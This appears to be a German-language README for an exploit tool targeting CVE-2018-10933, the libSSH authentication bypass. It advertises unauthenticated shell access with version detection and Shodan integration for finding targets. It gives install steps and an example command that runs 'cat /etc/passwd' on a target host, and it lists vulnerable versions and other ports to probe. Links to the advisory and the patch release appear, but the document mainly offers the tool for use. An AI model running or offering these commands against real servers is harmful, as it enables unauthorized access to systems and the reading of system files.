
Exploit für CVE-2018-10933 (LibSSH-Authentifizierungsumgehung), der unauthentifizierten Shell-Zugriff auf verwundbare SSH-Server mit Versionserkennung und Shodan-Integration ermöglicht.
Shell-Zugriff ohne Anmeldeinformationen mittels CVE-2018-10933
Exploit-DB : https://www.exploit-db.com/exploits/45638
Informationen über CVE-2018-10933 von libSSH : https://www.libssh.org/security/advisories/CVE-2018-10933.txt
Fehlerbehebungsversion von libSSH : https://www.libssh.org/2018/10/16/libssh-0-8-4-and-0-7-6-security-and-bugfix-release/
// If paramiko==2.0.8 doesn't works try : pip install paramiko==2.4.2
pip install -r requirements.txt
python libsshauthbypass.py --help
Example:
python libsshauthbypass.py --host 0.0.0.0 --port 22 --command "cat /etc/passwd" --logfile newlogfile.log
https://gist.github.com/0x4D31/35ddb0322530414bbb4c3288292749cc
Wenn die Ausgabe 0.7.5, 0.6.* oder niedriger ist, ist der Server anfällig.
Wenn nicht, ist er wahrscheinlich gepatcht, abgeschnitten oder verwendet kein libSSH.
( Port 22 ist Standard, andere Ports wie (2222, 3333, 4444) könnten libSSH enthalten )
